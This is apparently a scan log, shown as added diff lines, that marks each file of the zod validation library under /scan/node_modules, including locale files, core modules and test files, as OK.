+/scan/node_modules/zod/v4-mini/index.js: OK
+/scan/node_modules/zod/v4-mini/index.cjs: OK
+/scan/node_modules/zod/v4-mini/index.d.ts: OK
+/scan/node_modules/zod/LICENSE: OK
+/scan/node_modules/zod/index.d.cts: OK
+/scan/node_modules/zod/index.js: OK
+/scan/node_modules/zod/README.md: OK
+/scan/node_modules/zod/v4/locales/ua.d.ts: OK
+/scan/node_modules/zod/v4/locales/ko.cjs: OK
+/scan/node_modules/zod/v4/locales/es.cjs: OK
+/scan/node_modules/zod/v4/locales/pt.js: OK
+/scan/node_modules/zod/v4/locales/ru.d.cts: OK
+/scan/node_modules/zod/v4/locales/zh-CN.d.cts: OK
+/scan/node_modules/zod/v4/locales/sl.d.ts: OK
+/scan/node_modules/zod/v4/locales/mk.d.ts: OK
+/scan/node_modules/zod/v4/locales/tr.d.ts: OK
+/scan/node_modules/zod/v4/locales/vi.js: OK
+/scan/node_modules/zod/v4/locales/ps.cjs: OK
+/scan/node_modules/zod/v4/locales/pl.js: OK
+/scan/node_modules/zod/v4/locales/fi.cjs: OK
+/scan/node_modules/zod/v4/locales/ps.d.ts: OK
+/scan/node_modules/zod/v4/locales/hu.cjs: OK
+/scan/node_modules/zod/v4/locales/id.cjs: OK
+/scan/node_modules/zod/v4/locales/ps.d.cts: OK
+/scan/node_modules/zod/v4/locales/hu.d.ts: OK
+/scan/node_modules/zod/v4/locales/vi.d.cts: OK
+/scan/node_modules/zod/v4/locales/sl.js: OK
+/scan/node_modules/zod/v4/locales/ko.js: OK
+/scan/node_modules/zod/v4/locales/he.cjs: OK
+/scan/node_modules/zod/v4/locales/ms.js: OK
+/scan/node_modules/zod/v4/locales/pt.cjs: OK
+/scan/node_modules/zod/v4/locales/fi.js: OK
+/scan/node_modules/zod/v4/locales/th.js: OK
+/scan/node_modules/zod/v4/locales/tr.d.cts: OK
+/scan/node_modules/zod/v4/locales/ms.d.ts: OK
+/scan/node_modules/zod/v4/locales/pl.d.cts: OK
+/scan/node_modules/zod/v4/locales/ru.js: OK
+/scan/node_modules/zod/v4/locales/nl.d.ts: OK
+/scan/node_modules/zod/v4/locales/mk.js: OK
+/scan/node_modules/zod/v4/locales/no.js: OK
+/scan/node_modules/zod/v4/locales/kh.cjs: OK
+/scan/node_modules/zod/v4/locales/de.cjs: OK
+/scan/node_modules/zod/v4/locales/sl.cjs: OK
+/scan/node_modules/zod/v4/locales/no.d.cts: OK
+/scan/node_modules/zod/v4/locales/hu.d.cts: OK
+/scan/node_modules/zod/v4/locales/ja.d.ts: OK
+/scan/node_modules/zod/v4/locales/it.cjs: OK
+/scan/node_modules/zod/v4/locales/ru.d.ts: OK
+/scan/node_modules/zod/v4/locales/pl.d.ts: OK
+/scan/node_modules/zod/v4/locales/de.d.ts: OK
+/scan/node_modules/zod/v4/locales/ja.js: OK
+/scan/node_modules/zod/v4/locales/ca.d.cts: OK
+/scan/node_modules/zod/v4/locales/he.js: OK
+/scan/node_modules/zod/v4/locales/fi.d.ts: OK
+/scan/node_modules/zod/v4/locales/index.d.cts: OK
+/scan/node_modules/zod/v4/locales/eo.d.ts: OK
+/scan/node_modules/zod/v4/locales/cs.cjs: OK
+/scan/node_modules/zod/v4/locales/ta.d.ts: OK
+/scan/node_modules/zod/v4/locales/zh-CN.d.ts: OK
+/scan/node_modules/zod/v4/locales/ur.d.ts: OK
+/scan/node_modules/zod/v4/locales/az.cjs: OK
+/scan/node_modules/zod/v4/locales/fr-CA.cjs: OK
+/scan/node_modules/zod/v4/locales/be.d.ts: OK
+/scan/node_modules/zod/v4/locales/be.cjs: OK
+/scan/node_modules/zod/v4/locales/ca.cjs: OK
+/scan/node_modules/zod/v4/locales/pt.d.ts: OK
+/scan/node_modules/zod/v4/locales/th.cjs: OK
+/scan/node_modules/zod/v4/locales/pt.d.cts: OK
+/scan/node_modules/zod/v4/locales/az.d.ts: OK
+/scan/node_modules/zod/v4/locales/index.js: OK
+/scan/node_modules/zod/v4/locales/en.d.ts: OK
+/scan/node_modules/zod/v4/locales/mk.cjs: OK
+/scan/node_modules/zod/v4/locales/id.js: OK
+/scan/node_modules/zod/v4/locales/az.js: OK
+/scan/node_modules/zod/v4/locales/ua.d.cts: OK
+/scan/node_modules/zod/v4/locales/fr.d.cts: OK
+/scan/node_modules/zod/v4/locales/id.d.cts: OK
+/scan/node_modules/zod/v4/locales/fi.d.cts: OK
+/scan/node_modules/zod/v4/locales/nl.d.cts: OK
+/scan/node_modules/zod/v4/locales/th.d.cts: OK
+/scan/node_modules/zod/v4/locales/az.d.cts: OK
+/scan/node_modules/zod/v4/locales/it.d.ts: OK
+/scan/node_modules/zod/v4/locales/ota.d.cts: OK
+/scan/node_modules/zod/v4/locales/es.d.cts: OK
+/scan/node_modules/zod/v4/locales/sl.d.cts: OK
+/scan/node_modules/zod/v4/locales/zh-TW.cjs: OK
+/scan/node_modules/zod/v4/locales/ca.js: OK
+/scan/node_modules/zod/v4/locales/ta.js: OK
+/scan/node_modules/zod/v4/locales/ua.js: OK
+/scan/node_modules/zod/v4/locales/fr-CA.d.ts: OK
+/scan/node_modules/zod/v4/locales/ms.cjs: OK
+/scan/node_modules/zod/v4/locales/ar.cjs: OK
+/scan/node_modules/zod/v4/locales/fr.d.ts: OK
+/scan/node_modules/zod/v4/locales/be.js: OK
+/scan/node_modules/zod/v4/locales/ua.cjs: OK
+/scan/node_modules/zod/v4/locales/tr.cjs: OK
+/scan/node_modules/zod/v4/locales/zh-CN.js: OK
+/scan/node_modules/zod/v4/locales/mk.d.cts: OK
+/scan/node_modules/zod/v4/locales/no.cjs: OK
+/scan/node_modules/zod/v4/locales/zh-TW.js: OK
+/scan/node_modules/zod/v4/locales/ta.cjs: OK
+/scan/node_modules/zod/v4/locales/vi.cjs: OK
+/scan/node_modules/zod/v4/locales/ur.cjs: OK
+/scan/node_modules/zod/v4/locales/en.d.cts: OK
+/scan/node_modules/zod/v4/locales/ota.js: OK
+/scan/node_modules/zod/v4/locales/ota.d.ts: OK
+/scan/node_modules/zod/v4/locales/ca.d.ts: OK
+/scan/node_modules/zod/v4/locales/zh-CN.cjs: OK
+/scan/node_modules/zod/v4/locales/index.cjs: OK
+/scan/node_modules/zod/v4/locales/ko.d.ts: OK
+/scan/node_modules/zod/v4/locales/kh.d.cts: OK
+/scan/node_modules/zod/v4/locales/nl.cjs: OK
+/scan/node_modules/zod/v4/locales/de.d.cts: OK
+/scan/node_modules/zod/v4/locales/ur.d.cts: OK
+/scan/node_modules/zod/v4/locales/he.d.cts: OK
+/scan/node_modules/zod/v4/locales/fa.js: OK
+/scan/node_modules/zod/v4/locales/ar.d.cts: OK
+/scan/node_modules/zod/v4/locales/zh-TW.d.ts: OK
+/scan/node_modules/zod/v4/locales/ja.d.cts: OK
+/scan/node_modules/zod/v4/locales/de.js: OK
+/scan/node_modules/zod/v4/locales/he.d.ts: OK
+/scan/node_modules/zod/v4/locales/fa.d.cts: OK
+/scan/node_modules/zod/v4/locales/zh-TW.d.cts: OK
+/scan/node_modules/zod/v4/locales/ko.d.cts: OK
+/scan/node_modules/zod/v4/locales/en.js: OK
+/scan/node_modules/zod/v4/locales/fa.cjs: OK
+/scan/node_modules/zod/v4/locales/pl.cjs: OK
+/scan/node_modules/zod/v4/locales/sv.js: OK
+/scan/node_modules/zod/v4/locales/fa.d.ts: OK
+/scan/node_modules/zod/v4/locales/vi.d.ts: OK
+/scan/node_modules/zod/v4/locales/cs.d.ts: OK
+/scan/node_modules/zod/v4/locales/sv.cjs: OK
+/scan/node_modules/zod/v4/locales/cs.js: OK
+/scan/node_modules/zod/v4/locales/fr.js: OK
+/scan/node_modules/zod/v4/locales/nl.js: OK
+/scan/node_modules/zod/v4/locales/fr-CA.js: OK
+/scan/node_modules/zod/v4/locales/ja.cjs: OK
+/scan/node_modules/zod/v4/locales/en.cjs: OK
+/scan/node_modules/zod/v4/locales/hu.js: OK
+/scan/node_modules/zod/v4/locales/sv.d.cts: OK
+/scan/node_modules/zod/v4/locales/id.d.ts: OK
+/scan/node_modules/zod/v4/locales/index.d.ts: OK
+/scan/node_modules/zod/v4/locales/cs.d.cts: OK
+/scan/node_modules/zod/v4/locales/no.d.ts: OK
+/scan/node_modules/zod/v4/locales/eo.cjs: OK
+/scan/node_modules/zod/v4/locales/kh.d.ts: OK
+/scan/node_modules/zod/v4/locales/ar.js: OK
+/scan/node_modules/zod/v4/locales/ru.cjs: OK
+/scan/node_modules/zod/v4/locales/fr-CA.d.cts: OK
+/scan/node_modules/zod/v4/locales/sv.d.ts: OK
+/scan/node_modules/zod/v4/locales/th.d.ts: OK
+/scan/node_modules/zod/v4/locales/ar.d.ts: OK
+/scan/node_modules/zod/v4/locales/ms.d.cts: OK
+/scan/node_modules/zod/v4/locales/be.d.cts: OK
+/scan/node_modules/zod/v4/locales/ta.d.cts: OK
+/scan/node_modules/zod/v4/locales/es.d.ts: OK
+/scan/node_modules/zod/v4/locales/kh.js: OK
+/scan/node_modules/zod/v4/locales/it.js: OK
+/scan/node_modules/zod/v4/locales/es.js: OK
+/scan/node_modules/zod/v4/locales/eo.d.cts: OK
+/scan/node_modules/zod/v4/locales/eo.js: OK
+/scan/node_modules/zod/v4/locales/ur.js: OK
+/scan/node_modules/zod/v4/locales/ps.js: OK
+/scan/node_modules/zod/v4/locales/it.d.cts: OK
+/scan/node_modules/zod/v4/locales/ota.cjs: OK
+/scan/node_modules/zod/v4/locales/fr.cjs: OK
+/scan/node_modules/zod/v4/locales/tr.js: OK
+/scan/node_modules/zod/v4/core/to-json-schema.cjs: OK
+/scan/node_modules/zod/v4/core/schemas.d.cts: OK
+/scan/node_modules/zod/v4/core/checks.d.cts: OK
+/scan/node_modules/zod/v4/core/checks.js: OK
+/scan/node_modules/zod/v4/core/json-schema.d.cts: OK
+/scan/node_modules/zod/v4/core/standard-schema.d.ts: OK
+/scan/node_modules/zod/v4/core/function.d.ts: OK
+/scan/node_modules/zod/v4/core/checks.cjs: OK
+/scan/node_modules/zod/v4/core/util.js: OK
+/scan/node_modules/zod/v4/core/schemas.cjs: OK
+/scan/node_modules/zod/v4/core/api.d.ts: OK
+/scan/node_modules/zod/v4/core/parse.d.ts: OK
+/scan/node_modules/zod/v4/core/to-json-schema.js: OK
+/scan/node_modules/zod/v4/core/core.js: OK
+/scan/node_modules/zod/v4/core/errors.d.ts: OK
+/scan/node_modules/zod/v4/core/to-json-schema.d.cts: OK
+/scan/node_modules/zod/v4/core/util.cjs: OK
+/scan/node_modules/zod/v4/core/doc.d.cts: OK
+/scan/node_modules/zod/v4/core/to-json-schema.d.ts: OK
+/scan/node_modules/zod/v4/core/api.cjs: OK
+/scan/node_modules/zod/v4/core/index.d.cts: OK
+/scan/node_modules/zod/v4/core/standard-schema.d.cts: OK
+/scan/node_modules/zod/v4/core/versions.d.cts: OK
+/scan/node_modules/zod/v4/core/regexes.d.ts: OK
+/scan/node_modules/zod/v4/core/json-schema.d.ts: OK
+/scan/node_modules/zod/v4/core/versions.d.ts: OK
+/scan/node_modules/zod/v4/core/index.js: OK
+/scan/node_modules/zod/v4/core/core.cjs: OK
+/scan/node_modules/zod/v4/core/parse.cjs: OK
+/scan/node_modules/zod/v4/core/registries.d.cts: OK
+/scan/node_modules/zod/v4/core/versions.cjs: OK
+/scan/node_modules/zod/v4/core/parse.d.cts: OK
+/scan/node_modules/zod/v4/core/standard-schema.cjs: OK
+/scan/node_modules/zod/v4/core/checks.d.ts: OK
+/scan/node_modules/zod/v4/core/errors.cjs: OK
+/scan/node_modules/zod/v4/core/core.d.ts: OK
+/scan/node_modules/zod/v4/core/parse.js: OK
+/scan/node_modules/zod/v4/core/regexes.d.cts: OK
+/scan/node_modules/zod/v4/core/registries.cjs: OK
+/scan/node_modules/zod/v4/core/versions.js: OK
+/scan/node_modules/zod/v4/core/errors.js: OK
+/scan/node_modules/zod/v4/core/doc.d.ts: OK
+/scan/node_modules/zod/v4/core/api.d.cts: OK
+/scan/node_modules/zod/v4/core/errors.d.cts: OK
+/scan/node_modules/zod/v4/core/json-schema.cjs: OK
+/scan/node_modules/zod/v4/core/registries.js: OK
+/scan/node_modules/zod/v4/core/index.cjs: OK
+/scan/node_modules/zod/v4/core/function.js: OK
+/scan/node_modules/zod/v4/core/schemas.d.ts: OK
+/scan/node_modules/zod/v4/core/doc.cjs: OK
+/scan/node_modules/zod/v4/core/function.d.cts: OK
+/scan/node_modules/zod/v4/core/schemas.js: OK
+/scan/node_modules/zod/v4/core/regexes.cjs: OK
+/scan/node_modules/zod/v4/core/util.d.ts: OK
+/scan/node_modules/zod/v4/core/api.js: OK
+/scan/node_modules/zod/v4/core/index.d.ts: OK
+/scan/node_modules/zod/v4/core/standard-schema.js: OK
+/scan/node_modules/zod/v4/core/core.d.cts: OK
+/scan/node_modules/zod/v4/core/function.cjs: OK
+/scan/node_modules/zod/v4/core/registries.d.ts: OK
+/scan/node_modules/zod/v4/core/regexes.js: OK
+/scan/node_modules/zod/v4/core/json-schema.js: OK
+/scan/node_modules/zod/v4/core/util.d.cts: OK
+/scan/node_modules/zod/v4/core/doc.js: OK
+/scan/node_modules/zod/v4/mini/schemas.d.cts: OK
+/scan/node_modules/zod/v4/mini/checks.d.cts: OK
+/scan/node_modules/zod/v4/mini/checks.js: OK
+/scan/node_modules/zod/v4/mini/iso.d.cts: OK
+/scan/node_modules/zod/v4/mini/checks.cjs: OK
+/scan/node_modules/zod/v4/mini/coerce.d.ts: OK
+/scan/node_modules/zod/v4/mini/schemas.cjs: OK
+/scan/node_modules/zod/v4/mini/parse.d.ts: OK
+/scan/node_modules/zod/v4/mini/index.d.cts: OK
+/scan/node_modules/zod/v4/mini/iso.cjs: OK
+/scan/node_modules/zod/v4/mini/iso.d.ts: OK
+/scan/node_modules/zod/v4/mini/coerce.d.cts: OK
+/scan/node_modules/zod/v4/mini/index.js: OK
+/scan/node_modules/zod/v4/mini/parse.cjs: OK
+/scan/node_modules/zod/v4/mini/external.js: OK
+/scan/node_modules/zod/v4/mini/parse.d.cts: OK
+/scan/node_modules/zod/v4/mini/checks.d.ts: OK
+/scan/node_modules/zod/v4/mini/external.d.cts: OK
+/scan/node_modules/zod/v4/mini/iso.js: OK
+/scan/node_modules/zod/v4/mini/external.cjs: OK
+/scan/node_modules/zod/v4/mini/parse.js: OK
+/scan/node_modules/zod/v4/mini/index.cjs: OK
+/scan/node_modules/zod/v4/mini/schemas.d.ts: OK
+/scan/node_modules/zod/v4/mini/schemas.js: OK
+/scan/node_modules/zod/v4/mini/external.d.ts: OK
+/scan/node_modules/zod/v4/mini/coerce.js: OK
+/scan/node_modules/zod/v4/mini/coerce.cjs: OK
+/scan/node_modules/zod/v4/mini/index.d.ts: OK
+/scan/node_modules/zod/v4/classic/schemas.d.cts: OK
+/scan/node_modules/zod/v4/classic/checks.d.cts: OK
+/scan/node_modules/zod/v4/classic/checks.js: OK
+/scan/node_modules/zod/v4/classic/iso.d.cts: OK
+/scan/node_modules/zod/v4/classic/checks.cjs: OK
+/scan/node_modules/zod/v4/classic/coerce.d.ts: OK
+/scan/node_modules/zod/v4/classic/schemas.cjs: OK
+/scan/node_modules/zod/v4/classic/parse.d.ts: OK
+/scan/node_modules/zod/v4/classic/errors.d.ts: OK
+/scan/node_modules/zod/v4/classic/compat.cjs: OK
+/scan/node_modules/zod/v4/classic/compat.d.cts: OK
+/scan/node_modules/zod/v4/classic/index.d.cts: OK
+/scan/node_modules/zod/v4/classic/iso.cjs: OK
+/scan/node_modules/zod/v4/classic/iso.d.ts: OK
+/scan/node_modules/zod/v4/classic/coerce.d.cts: OK
+/scan/node_modules/zod/v4/classic/index.js: OK
+/scan/node_modules/zod/v4/classic/parse.cjs: OK
+/scan/node_modules/zod/v4/classic/compat.js: OK
+/scan/node_modules/zod/v4/classic/external.js: OK
+/scan/node_modules/zod/v4/classic/parse.d.cts: OK
+/scan/node_modules/zod/v4/classic/checks.d.ts: OK
+/scan/node_modules/zod/v4/classic/external.d.cts: OK
+/scan/node_modules/zod/v4/classic/iso.js: OK
+/scan/node_modules/zod/v4/classic/errors.cjs: OK
+/scan/node_modules/zod/v4/classic/external.cjs: OK
+/scan/node_modules/zod/v4/classic/parse.js: OK
+/scan/node_modules/zod/v4/classic/errors.js: OK
+/scan/node_modules/zod/v4/classic/errors.d.cts: OK
+/scan/node_modules/zod/v4/classic/index.cjs: OK
+/scan/node_modules/zod/v4/classic/schemas.d.ts: OK
+/scan/node_modules/zod/v4/classic/compat.d.ts: OK
+/scan/node_modules/zod/v4/classic/schemas.js: OK
+/scan/node_modules/zod/v4/classic/external.d.ts: OK
+/scan/node_modules/zod/v4/classic/coerce.js: OK
+/scan/node_modules/zod/v4/classic/coerce.cjs: OK
+/scan/node_modules/zod/v4/classic/index.d.ts: OK
+/scan/node_modules/zod/v4/index.d.cts: OK
+/scan/node_modules/zod/v4/index.js: OK
+/scan/node_modules/zod/v4/index.cjs: OK
+/scan/node_modules/zod/v4/index.d.ts: OK
+/scan/node_modules/zod/package.json: OK
+/scan/node_modules/zod/v3/ZodError.js: OK
+/scan/node_modules/zod/v3/standard-schema.d.ts: OK
+/scan/node_modules/zod/v3/locales/en.d.ts: OK
+/scan/node_modules/zod/v3/locales/en.d.cts: OK
+/scan/node_modules/zod/v3/locales/en.js: OK
+/scan/node_modules/zod/v3/locales/en.cjs: OK
+/scan/node_modules/zod/v3/types.js: OK
+/scan/node_modules/zod/v3/ZodError.cjs: OK
+/scan/node_modules/zod/v3/errors.d.ts: OK
+/scan/node_modules/zod/v3/types.cjs: OK
+/scan/node_modules/zod/v3/types.d.ts: OK
+/scan/node_modules/zod/v3/index.d.cts: OK
+/scan/node_modules/zod/v3/standard-schema.d.cts: OK
+/scan/node_modules/zod/v3/ZodError.d.ts: OK
+/scan/node_modules/zod/v3/index.js: OK
+/scan/node_modules/zod/v3/external.js: OK
+/scan/node_modules/zod/v3/standard-schema.cjs: OK
+/scan/node_modules/zod/v3/ZodError.d.cts: OK
+/scan/node_modules/zod/v3/external.d.cts: OK
+/scan/node_modules/zod/v3/types.d.cts: OK
+/scan/node_modules/zod/v3/errors.cjs: OK
+/scan/node_modules/zod/v3/external.cjs: OK
+/scan/node_modules/zod/v3/errors.js: OK
+/scan/node_modules/zod/v3/errors.d.cts: OK
+/scan/node_modules/zod/v3/index.cjs: OK
+/scan/node_modules/zod/v3/external.d.ts: OK
+/scan/node_modules/zod/v3/index.d.ts: OK
+/scan/node_modules/zod/v3/standard-schema.js: OK
+/scan/node_modules/zod/v3/helpers/errorUtil.d.cts: OK
+/scan/node_modules/zod/v3/helpers/enumUtil.js: OK
+/scan/node_modules/zod/v3/helpers/errorUtil.d.ts: OK
+/scan/node_modules/zod/v3/helpers/util.js: OK
+/scan/node_modules/zod/v3/helpers/partialUtil.js: OK
+/scan/node_modules/zod/v3/helpers/errorUtil.cjs: OK
+/scan/node_modules/zod/v3/helpers/typeAliases.d.ts: OK
+/scan/node_modules/zod/v3/helpers/util.cjs: OK
+/scan/node_modules/zod/v3/helpers/partialUtil.d.cts: OK
+/scan/node_modules/zod/v3/helpers/enumUtil.d.ts: OK
+/scan/node_modules/zod/v3/helpers/enumUtil.cjs: OK
+/scan/node_modules/zod/v3/helpers/enumUtil.d.cts: OK
+/scan/node_modules/zod/v3/helpers/parseUtil.d.ts: OK
+/scan/node_modules/zod/v3/helpers/errorUtil.js: OK
+/scan/node_modules/zod/v3/helpers/parseUtil.d.cts: OK
+/scan/node_modules/zod/v3/helpers/typeAliases.js: OK
+/scan/node_modules/zod/v3/helpers/partialUtil.d.ts: OK
+/scan/node_modules/zod/v3/helpers/parseUtil.cjs: OK
+/scan/node_modules/zod/v3/helpers/partialUtil.cjs: OK
+/scan/node_modules/zod/v3/helpers/parseUtil.js: OK
+/scan/node_modules/zod/v3/helpers/typeAliases.d.cts: OK
+/scan/node_modules/zod/v3/helpers/util.d.ts: OK
+/scan/node_modules/zod/v3/helpers/typeAliases.cjs: OK
+/scan/node_modules/zod/v3/helpers/util.d.cts: OK
+/scan/node_modules/zod/index.cjs: OK
+/scan/node_modules/zod/index.d.ts: OK
+/scan/node_modules/zod/src/v4-mini/index.ts: OK
+/scan/node_modules/zod/src/v4/locales/zh-TW.ts: OK
+/scan/node_modules/zod/src/v4/locales/ota.ts: OK
+/scan/node_modules/zod/src/v4/locales/fa.ts: OK
+/scan/node_modules/zod/src/v4/locales/de.ts: OK
+/scan/node_modules/zod/src/v4/locales/ta.ts: OK
+/scan/node_modules/zod/src/v4/locales/ca.ts: OK
+/scan/node_modules/zod/src/v4/locales/ua.ts: OK
+/scan/node_modules/zod/src/v4/locales/be.ts: OK
+/scan/node_modules/zod/src/v4/locales/zh-CN.ts: OK
+/scan/node_modules/zod/src/v4/locales/ar.ts: OK
+/scan/node_modules/zod/src/v4/locales/it.ts: OK
+/scan/node_modules/zod/src/v4/locales/kh.ts: OK
+/scan/node_modules/zod/src/v4/locales/es.ts: OK
+/scan/node_modules/zod/src/v4/locales/ps.ts: OK
+/scan/node_modules/zod/src/v4/locales/ur.ts: OK
+/scan/node_modules/zod/src/v4/locales/eo.ts: OK
+/scan/node_modules/zod/src/v4/locales/tr.ts: OK
+/scan/node_modules/zod/src/v4/locales/en.ts: OK
+/scan/node_modules/zod/src/v4/locales/sv.ts: OK
+/scan/node_modules/zod/src/v4/locales/fr-CA.ts: OK
+/scan/node_modules/zod/src/v4/locales/fr.ts: OK
+/scan/node_modules/zod/src/v4/locales/nl.ts: OK
+/scan/node_modules/zod/src/v4/locales/cs.ts: OK
+/scan/node_modules/zod/src/v4/locales/hu.ts: OK
+/scan/node_modules/zod/src/v4/locales/ms.ts: OK
+/scan/node_modules/zod/src/v4/locales/fi.ts: OK
+/scan/node_modules/zod/src/v4/locales/th.ts: OK
+/scan/node_modules/zod/src/v4/locales/mk.ts: OK
+/scan/node_modules/zod/src/v4/locales/ru.ts: OK
+/scan/node_modules/zod/src/v4/locales/no.ts: OK
+/scan/node_modules/zod/src/v4/locales/pt.ts: OK
+/scan/node_modules/zod/src/v4/locales/vi.ts: OK
+/scan/node_modules/zod/src/v4/locales/pl.ts: OK
+/scan/node_modules/zod/src/v4/locales/ko.ts: OK
+/scan/node_modules/zod/src/v4/locales/sl.ts: OK
+/scan/node_modules/zod/src/v4/locales/index.ts: OK
+/scan/node_modules/zod/src/v4/locales/id.ts: OK
+/scan/node_modules/zod/src/v4/locales/az.ts: OK
+/scan/node_modules/zod/src/v4/locales/ja.ts: OK
+/scan/node_modules/zod/src/v4/locales/he.ts: OK
+/scan/node_modules/zod/src/v4/core/function.ts: OK
+/scan/node_modules/zod/src/v4/core/registries.ts: OK
+/scan/node_modules/zod/src/v4/core/parse.ts: OK
+/scan/node_modules/zod/src/v4/core/versions.ts: OK
+/scan/node_modules/zod/src/v4/core/errors.ts: OK
+/scan/node_modules/zod/src/v4/core/json-schema.ts: OK
+/scan/node_modules/zod/src/v4/core/regexes.ts: OK
+/scan/node_modules/zod/src/v4/core/doc.ts: OK
+/scan/node_modules/zod/src/v4/core/tests/locales/tr.test.ts: OK
+/scan/node_modules/zod/src/v4/core/tests/locales/en.test.ts: OK
+/scan/node_modules/zod/src/v4/core/tests/locales/be.test.ts: OK
+/scan/node_modules/zod/src/v4/core/tests/locales/ru.test.ts: OK
+/scan/node_modules/zod/src/v4/core/tests/index.test.ts: OK
+/scan/node_modules/zod/src/v4/core/schemas.ts: OK
+/scan/node_modules/zod/src/v4/core/api.ts: OK
+/scan/node_modules/zod/src/v4/core/standard-schema.ts: OK
+/scan/node_modules/zod/src/v4/core/to-json-schema.ts: OK
+/scan/node_modules/zod/src/v4/core/core.ts: OK
+/scan/node_modules/zod/src/v4/core/checks.ts: OK
+/scan/node_modules/zod/src/v4/core/util.ts: OK
+/scan/node_modules/zod/src/v4/core/index.ts: OK
+/scan/node_modules/zod/src/v4/core/config.ts: OK
+/scan/node_modules/zod/src/v4/core/zsf.ts: OK
+/scan/node_modules/zod/src/v4/mini/external.ts: OK
+/scan/node_modules/zod/src/v4/mini/iso.ts: OK
+/scan/node_modules/zod/src/v4/mini/parse.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/computed.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/index.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/brand.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/assignability.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/string.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/checks.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/functions.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/recursive-types.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/number.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/prototypes.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/error.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/tests/object.test.ts: OK
+/scan/node_modules/zod/src/v4/mini/schemas.ts: OK
+/scan/node_modules/zod/src/v4/mini/coerce.ts: OK
+/scan/node_modules/zod/src/v4/mini/checks.ts: OK
+/scan/node_modules/zod/src/v4/mini/index.ts: OK
+/scan/node_modules/zod/src/v4/classic/external.ts: OK
+/scan/node_modules/zod/src/v4/classic/iso.ts: OK
+/scan/node_modules/zod/src/v4/classic/parse.ts: OK
+/scan/node_modules/zod/src/v4/classic/errors.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/template-literal.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/transform.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/string-formats.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/nested-refine.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/record.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/tuple.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/union.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/function.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/nan.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/generics.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/registries.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/firstparty.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/nonoptional.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/coerce.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/description.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/index.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/base.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/custom.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/brand.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/void.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/stringbool.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/intersection.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/pickomit.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/partial.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/literal.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/anyunknown.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/assignability.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/default.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/error-utils.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/string.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/file.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/bigint.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/catch.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/lazy.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/discriminated-unions.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/set.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/date.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/json.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/enum.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/recursive-types.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/to-json-schema.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/nullable.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/number.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/primitive.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/async-parsing.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/refine.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/validations.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/optional.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/map.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/instanceof.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/preprocess.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/prototypes.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/prefault.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/error.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/pipe.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/standard-schema.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/datetime.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/readonly.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/coalesce.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/object.test.ts: OK
